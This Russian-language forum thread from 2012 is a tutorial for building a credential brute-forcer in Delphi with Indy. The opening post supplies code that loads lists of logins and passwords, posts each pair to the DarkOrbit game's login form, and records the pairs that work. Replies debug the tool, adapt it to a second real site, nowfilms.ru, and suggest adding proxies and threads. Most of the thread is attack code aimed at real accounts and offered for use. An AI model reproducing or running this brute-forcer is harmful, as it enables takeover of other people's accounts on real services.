Регистрация Главная Сообщество
Сообщения за день Справка Регистрация
Навигация
Zhyk.org LIVE! Реклама на Zhyk.org Правила Форума Награды и достижения Доска "почета"

Ответ
 
Опции темы
Старый 13.06.2012, 04:41   #1
Заблокирован
 Сержант
Аватар для [Na`Vi]DendI
 
[Na`Vi]DendI на правильном пути[Na`Vi]DendI на правильном пути
Регистрация: 06.06.2012
Сообщений: 131
Популярность: 102
Сказал(а) спасибо: 141
Поблагодарили 131 раз(а) в 78 сообщениях
Отправить сообщение для [Na`Vi]DendI с помощью Skype™
 
По умолчанию делаем простенький брутер

И так хочу сразу предупредить брутер будет у нас однопоточный и без прокси.
В данном примере я покажу как сделать брутер для браузерной игры "DarkOrbit"([Ссылки могут видеть только зарегистрированные пользователи. ]).
Кидаем на форму 3 компонента button, 1 компонент TIdHTTP,1 компонент openDialog и memo.
Переименуем и роз формируем их так как у меня на скрине:
[Ссылки могут видеть только зарегистрированные пользователи. ]
в глобальных переменных напишем:

Код:
emails,pass:tstringlist; // список ников и паролей
j,i:integer;
Кастуем дабл клик на "LOGINS "
и пишем такой код:
Код:
begin
OpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName);
  if OpenDialog1.Execute then
begin
eMails.LoadFromFile(OpenDialog1.FileName);
end;

end;
Дальше 2 раза кликаем на кнопку "PASS"
и пишем такой код:
Код:
begin
OpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName);
  if OpenDialog1.Execute then
begin
Pass.LoadFromFile(OpenDialog1.FileName);
end;
end;
А теперь приступим к самому бруту !
Дабл клик на кнопку "Старт" и пишем вот такой код:


Код:
var
ssylka,result:string; //думаю тут все
post:tstringlist;         //понятно

begin
ssylka:='http://www.darkorbit.ru/?locale=ru&aid=0'; //здесь указываем ссылку на сайт который будем брутить
post:=tstringlist.Create; // создаем лист
for i:=0 to emails.Count-1 do begin // проверяем,формируем
post.Clear;
post.Add('loginForm_default_username='+emails[i]); //сниффером смотрим наши значения авторизации
for j:=0 to pass.Count-1 do begin  // проверяем,формируем
post.Add('loginForm_default_password='+pass[j]); 
post.Add('loginForm_default_login_submit=Вход');
result:=form5.idhttp1.Post(ssylka,post); //присваиваем пост запрос 
if pos('selectInstanceHint',result)<>0 then //если программа спарсит значения 'selectInstanceHint' то мы что то збрутили
form1.Memo1.Lines.Add(PChar('Логин:'+Emails.Strings[i]+' Пароль:'+Pass.Strings[j]));  выводим то что збрутили в memo
end;
end;
end;
Ну вот и все на этом брут готов,осталось добавить прокси и потоки и у вас полноценный брутер )
  Ответить с цитированием
3 пользователя(ей) сказали cпасибо:
-KGB- (24.01.2013), RifmoGlas (13.02.2013), Tigrenok001 (25.07.2013)
Старый 22.06.2012, 13:17   #2
Заблокирован
 Сержант
Аватар для D.E.Z.E.R.T.I.R
 
D.E.Z.E.R.T.I.R блестящий пример для подражанияD.E.Z.E.R.T.I.R блестящий пример для подражанияD.E.Z.E.R.T.I.R блестящий пример для подражанияD.E.Z.E.R.T.I.R блестящий пример для подражанияD.E.Z.E.R.T.I.R блестящий пример для подражанияD.E.Z.E.R.T.I.R блестящий пример для подражанияD.E.Z.E.R.T.I.R блестящий пример для подражанияD.E.Z.E.R.T.I.R блестящий пример для подражанияD.E.Z.E.R.T.I.R блестящий пример для подражанияD.E.Z.E.R.T.I.R блестящий пример для подражанияD.E.Z.E.R.T.I.R блестящий пример для подражания
Регистрация: 07.05.2012
Сообщений: 117
Популярность: 1781
Сказал(а) спасибо: 16
Поблагодарили 82 раз(а) в 44 сообщениях
 
По умолчанию Re: делаем простенький брутер

Можно и без прокси, только тогда

Код:
for j:=0 to pass.Count-1 do
это первичный цикл, а в нем вложен
Код:
for i:=0 to emails.Count-1 do
  Ответить с цитированием
Старый 22.06.2012, 15:01   #3
Заблокирован
 Сержант
Аватар для [Na`Vi]DendI
 
[Na`Vi]DendI на правильном пути[Na`Vi]DendI на правильном пути
Регистрация: 06.06.2012
Сообщений: 131
Популярность: 102
Сказал(а) спасибо: 141
Поблагодарили 131 раз(а) в 78 сообщениях
Отправить сообщение для [Na`Vi]DendI с помощью Skype™
 
По умолчанию Re: делаем простенький брутер

Цитата:
Сообщение от D.E.Z.E.R.T.I.RПосмотреть сообщение
Можно и без прокси, только тогда

Код:
for j:=0 to pass.Count-1 do
это первичный цикл, а в нем вложен
Код:
for i:=0 to emails.Count-1 do

Тогда уже проще зделать как сорс лист типо:
Код:
var
curacc:integer;
facc,fpas:string;
accounts:tstringlist;
begin
FAcc:= Copy(Accounts[CurAcc],1,Pos(';',Accounts[CurAcc])-1);
     FPas:= Copy(Accounts[CurAcc],Pos(';',Accounts[CurAcc])+1,Length(Accounts[CurAcc]));
  Ответить с цитированием
Старый 23.06.2012, 14:46   #4
Заблокирован
 Сержант
Аватар для D.E.Z.E.R.T.I.R
 
D.E.Z.E.R.T.I.R блестящий пример для подражанияD.E.Z.E.R.T.I.R блестящий пример для подражанияD.E.Z.E.R.T.I.R блестящий пример для подражанияD.E.Z.E.R.T.I.R блестящий пример для подражанияD.E.Z.E.R.T.I.R блестящий пример для подражанияD.E.Z.E.R.T.I.R блестящий пример для подражанияD.E.Z.E.R.T.I.R блестящий пример для подражанияD.E.Z.E.R.T.I.R блестящий пример для подражанияD.E.Z.E.R.T.I.R блестящий пример для подражанияD.E.Z.E.R.T.I.R блестящий пример для подражанияD.E.Z.E.R.T.I.R блестящий пример для подражания
Регистрация: 07.05.2012
Сообщений: 117
Популярность: 1781
Сказал(а) спасибо: 16
Поблагодарили 82 раз(а) в 44 сообщениях
 
По умолчанию Re: делаем простенький брутер

Цитата:
Сообщение от KsenomorFFFПосмотреть сообщение
if pos('var menu_send',result)<>0 then //если программа спарсит значения 'selectInstanceHint' то мы что то збрутили begin Memo1.Lines.Add(PChar('Логин:'+Emails.Strings[i]+' Пароль:'+Pass.Strings[j])); //выводим то что збрутили в memo end;

а ты уверен, что не ошибся в этом условии?
  Ответить с цитированием
Старый 25.06.2012, 11:49   #5
Заблокирован
 Сержант
Аватар для [Na`Vi]DendI
 
[Na`Vi]DendI на правильном пути[Na`Vi]DendI на правильном пути
Регистрация: 06.06.2012
Сообщений: 131
Популярность: 102
Сказал(а) спасибо: 141
Поблагодарили 131 раз(а) в 78 сообщениях
Отправить сообщение для [Na`Vi]DendI с помощью Skype™
 
По умолчанию Re: делаем простенький брутер

Цитата:
Сообщение от KsenomorFFFПосмотреть сообщение
Memo1.Lines.Add(PChar('Логин:'+Emails.Strings[i]+' Пароль:'+Pass.Strings[j])); //выводим то что збрутили в memo
end;

I не добавляй и j не добавляй
  Ответить с цитированием
Старый 26.06.2012, 10:14   #6
Бандеровец
 Лейтенант-командор
Аватар для VeTaL_UA
 
VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(
Регистрация: 12.08.2010
Сообщений: 727
Популярность: 30569
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
Отправить сообщение для VeTaL_UA с помощью ICQ Отправить сообщение для VeTaL_UA с помощью Skype™
 
По умолчанию Re: делаем простенький брутер

Цитата:
Сообщение от KsenomorFFFПосмотреть сообщение
emails,pass:tstringlist;

Они нигде не создаются, вот и выбивает ошибку.
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.

Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.


  Ответить с цитированием
Старый 26.06.2012, 12:29   #7
Заблокирован
 Пехотинец
Аватар для Skrillex3
 
Skrillex3 душа компанииSkrillex3 душа компанииSkrillex3 душа компанииSkrillex3 душа компанииSkrillex3 душа компанииSkrillex3 душа компанииSkrillex3 душа компанииSkrillex3 душа компании
Регистрация: 23.03.2012
Сообщений: 83
Популярность: 908
Сказал(а) спасибо: 102
Поблагодарили 144 раз(а) в 61 сообщениях
Отправить сообщение для Skrillex3 с помощью Skype™
 
По умолчанию Re: делаем простенький брутер

Цитата:
Сообщение от KsenomorFFFПосмотреть сообщение
procedure TBrute.Button1Click(Sender: TObject); begin OpenDialog1.InitialDir:=ExtractFilePath(Applicatio n.ExeName); if OpenDialog1.Execute then begin Memo2.lines.LoadFromFile(OpenDialog1.FileName); label3.Caption:=inttostr(Memo2.Lines.Count); emails.LoadFromFile(OpenDialog1.FileName); end;

где они у тебя тут создаются?
  Ответить с цитированием
Старый 30.06.2012, 03:06   #8
Заблокирован
 Сержант
Аватар для [Na`Vi]DendI
 
[Na`Vi]DendI на правильном пути[Na`Vi]DendI на правильном пути
Регистрация: 06.06.2012
Сообщений: 131
Популярность: 102
Сказал(а) спасибо: 141
Поблагодарили 131 раз(а) в 78 сообщениях
Отправить сообщение для [Na`Vi]DendI с помощью Skype™
 
По умолчанию Re: делаем простенький брутер

Цитата:
Сообщение от KsenomorFFFПосмотреть сообщение
напиши правильный код плиз

напиши 2 отдельные процедуры,1 процедура авторизации:
Код:
ssylka:='http://nowfilms.ru/index.php';
post:=tstringlist.Create;
for i:=0 to emails.Count-1 do begin
post.Clear;
post.Add('login_name='+emails[i]);
for j:=0 to pass.Count-1 do begin
post.Add('login_password='+pass[j]);
post.Add('login=submit');
result:=form1.idhttp1.Post(ssylka,post);
if pos('var menu_send',result)<>0 then
Synchronize(ShowResult);
а 2 процедура вывода сбрученого в мемо:
Код:
procedure ShowResult;
form1.Memo1.Lines.Add(PChar('Логин:'+Emails.Strings[i]+' Пароль:'+Pass.Strings[j]));
у формы в onCreat поставь
emails:=tstringlist.Create;
pass:=tstringlist.Create;
тогда при нажатии на кнопку logins и pass ошибки не будет

Последний раз редактировалось [Na`Vi]DendI; 30.06.2012 в 03:12.
  Ответить с цитированием
Старый 30.06.2012, 10:16   #9
 Разведчик
Аватар для VeTaL_UA(1)
 
VeTaL_UA(1) скоро будет известенVeTaL_UA(1) скоро будет известенVeTaL_UA(1) скоро будет известен
Регистрация: 04.12.2011
Сообщений: 20
Популярность: 295
Сказал(а) спасибо: 0
Поблагодарили 1 раз в 1 сообщении
 
По умолчанию Re: делаем простенький брутер

Цитата:
Сообщение от [Na`Vi]DendIПосмотреть сообщение
у формы в onCreat поставь
emails:=tstringlist.Create;
pass:=tstringlist.Create;
тогда при нажатии на кнопку logins и pass ошибки не будет

Плохой вариант.

В процедуре Button1Click в код условия добавь
Код:
emails:=TStringList.Create;
В процедуре Button2Click в код условия добавь
Код:
pass:=TStringList.Create;
В процедуре Button2Click в конец добавь
Код:
emails.Free;
pass.Free;
________________
VeTaL_UA пишет отсюда, когда сидит с мобильного телефона. Привязка по ІР
  Ответить с цитированием
Старый 30.06.2012, 15:23   #10
Заблокирован
 Сержант
Аватар для [Na`Vi]DendI
 
[Na`Vi]DendI на правильном пути[Na`Vi]DendI на правильном пути
Регистрация: 06.06.2012
Сообщений: 131
Популярность: 102
Сказал(а) спасибо: 141
Поблагодарили 131 раз(а) в 78 сообщениях
Отправить сообщение для [Na`Vi]DendI с помощью Skype™
 
По умолчанию Re: делаем простенький брутер

Цитата:
Сообщение от VeTaL_UA(1)Посмотреть сообщение
Плохой вариант.

В процедуре Button1Click в код условия добавь
Код:
emails:=TStringList.Create;
В процедуре Button2Click в код условия добавь
Код:
pass:=TStringList.Create;
В процедуре Button2Click в конец добавь
Код:
emails.Free;
pass.Free;

а чем мой вариант хуже ??
  Ответить с цитированием
Старый 30.06.2012, 17:41   #11
 Разведчик
Аватар для VeTaL_UA(1)
 
VeTaL_UA(1) скоро будет известенVeTaL_UA(1) скоро будет известенVeTaL_UA(1) скоро будет известен
Регистрация: 04.12.2011
Сообщений: 20
Популярность: 295
Сказал(а) спасибо: 0
Поблагодарили 1 раз в 1 сообщении
 
По умолчанию Re: делаем простенький брутер

Цитата:
Сообщение от [Na`Vi]DendIПосмотреть сообщение
а чем мой вариант хуже ??

Да тем, что он не верный. Стринглист вечно висит в памяти, а это не ок.
________________
VeTaL_UA пишет отсюда, когда сидит с мобильного телефона. Привязка по ІР
  Ответить с цитированием
Старый 30.06.2012, 19:40   #12
Заблокирован
 Сержант
Аватар для [Na`Vi]DendI
 
[Na`Vi]DendI на правильном пути[Na`Vi]DendI на правильном пути
Регистрация: 06.06.2012
Сообщений: 131
Популярность: 102
Сказал(а) спасибо: 141
Поблагодарили 131 раз(а) в 78 сообщениях
Отправить сообщение для [Na`Vi]DendI с помощью Skype™
 
По умолчанию Re: делаем простенький брутер

Цитата:
Сообщение от VeTaL_UA(1)Посмотреть сообщение
Да тем, что он не верный. Стринглист вечно висит в памяти, а это не ок.

Странно,у меня во всех моих программах стринглист в он крит,а чем он мешает если висит в памяти ?
  Ответить с цитированием
Старый 30.06.2012, 19:47   #13
 Разведчик
Аватар для VeTaL_UA(1)
 
VeTaL_UA(1) скоро будет известенVeTaL_UA(1) скоро будет известенVeTaL_UA(1) скоро будет известен
Регистрация: 04.12.2011
Сообщений: 20
Популярность: 295
Сказал(а) спасибо: 0
Поблагодарили 1 раз в 1 сообщении
 
По умолчанию Re: делаем простенький брутер

Цитата:
Сообщение от [Na`Vi]DendIПосмотреть сообщение
чем он мешает если висит в памяти ?

не экономишь память же.
________________
VeTaL_UA пишет отсюда, когда сидит с мобильного телефона. Привязка по ІР
  Ответить с цитированием
Старый 30.06.2012, 20:40   #14
Заблокирован
 Сержант
Аватар для [Na`Vi]DendI
 
[Na`Vi]DendI на правильном пути[Na`Vi]DendI на правильном пути
Регистрация: 06.06.2012
Сообщений: 131
Популярность: 102
Сказал(а) спасибо: 141
Поблагодарили 131 раз(а) в 78 сообщениях
Отправить сообщение для [Na`Vi]DendI с помощью Skype™
 
По умолчанию Re: делаем простенький брутер

Цитата:
Сообщение от VeTaL_UA(1)Посмотреть сообщение
не экономишь память же.

Поставил только что на кнопки,и впрямь разница есть,а что делать с criticalSection на кнопку же не поставишь
  Ответить с цитированием
Старый 01.07.2012, 12:02   #15
 Разведчик
Аватар для VeTaL_UA(1)
 
VeTaL_UA(1) скоро будет известенVeTaL_UA(1) скоро будет известенVeTaL_UA(1) скоро будет известен
Регистрация: 04.12.2011
Сообщений: 20
Популярность: 295
Сказал(а) спасибо: 0
Поблагодарили 1 раз в 1 сообщении
 
По умолчанию Re: делаем простенький брутер

Цитата:
Сообщение от [Na`Vi]DendIПосмотреть сообщение
criticalSection на кнопку же не поставишь

А на OnCreate поставишь?
________________
VeTaL_UA пишет отсюда, когда сидит с мобильного телефона. Привязка по ІР
  Ответить с цитированием
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Услуги] Требуется брутер! Jlo}l{Kaa Товары/услуги в Сети 0 18.03.2012 10:44
[Услуги] Требуется Брутер. Follom Lineage 2 2 21.01.2012 15:33

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 23:46.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net